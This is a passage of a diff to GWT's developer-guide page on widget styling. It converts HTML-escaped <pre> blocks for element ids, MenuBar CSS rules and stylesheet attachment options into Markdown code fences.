-<pre class="prettyprint">
-  &lt;div id=&quot;my-button-id&quot;/&gt;
-</pre>
+```
+<div id="my-button-id"/>
+```
 
 To set the id for a GWT widget, retrieve its DOM Element and then set the `id` attribute as follows:
 
-<pre class="prettyprint">
-  Button b = new Button();
-  DOM.setElementAttribute(b.getElement(), &quot;id&quot;, &quot;my-button-id&quot;)
-</pre>
+```
+Button b = new Button();
+  DOM.setElementAttribute(b.getElement(), "id", "my-button-id")
+```
 
 This would allow you to reference a specific widget in a style sheet as follows:
 
-<pre>
-  #my-button-id { font-size: 100%; }
-</pre>
+```
+#my-button-id { font-size: 100%; }
+```
 
 ## Complex Styles<a id="complex"></a>
 
 Some widgets have multiple styles associated with them. [MenuBar](/javadoc/latest/com/google/gwt/user/client/ui/MenuBar.html), for example, has the following styles:
 
-<pre>
-   .gwt-MenuBar { 
+```
+.gwt-MenuBar { 
        /* properties applying to the menu bar itself */ 
    }
    .gwt-MenuBar .gwt-MenuItem { 
@@ -59,10 +59,10 @@
    .gwt-MenuBar .gwt-MenuItem-selected { 
        /* properties applying to the menu bar's selected menu items */
    }
-</pre>
+```
 
 In the above style sheet code, there are two style rules that apply to menu items. The first applies to all menu items (both selected and unselected), while the second (with
-the -selected suffix) applies only to selected menu items. A selected menu item's style name will be set to `&quot;gwt-MenuItem gwt-MenuItem-selected&quot;`, specifying that both
+the -selected suffix) applies only to selected menu items. A selected menu item's style name will be set to `"gwt-MenuItem gwt-MenuItem-selected"`, specifying that both
 style rules will be applied. The most common way of doing this is to use [setStyleName](/javadoc/latest/com/google/gwt/user/client/ui/UIObject.html#setStyleName(java.lang.String)) to set
 the base style name, then [addStyleName()](/javadoc/latest/com/google/gwt/user/client/ui/UIObject.html#addStyleName(java.lang.String)) and [removeStyleName()](/javadoc/latest/com/google/gwt/user/client/ui/UIObject.html#removeStyleName(java.lang.String))
 to add and remove the second style name.
@@ -71,36 +71,37 @@
 
 There are multiple approaches for associating CSS files with your module:
 
-*   Using a `&lt;link&gt;` tag in the [host HTML page](DevGuideOrganizingProjects.html#DevGuideHostPage).
-*   Using the `&lt;stylesheet&gt;` element in the [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml).
-*   Using a `[CssResource](DevGuideClientBundle.html#CssResource)` contained within a `[ClientBundle](DevGuideClientBundle.html)`.
-*   Using an inline `[&lt;ui:style&gt;](DevGuideUiBinder.html#Hello_Stylish_World)` element in a UiBinder template.
+*   Using a `<link>` tag in the [host HTML page](DevGuideOrganizingProjects.html#DevGuideHostPage).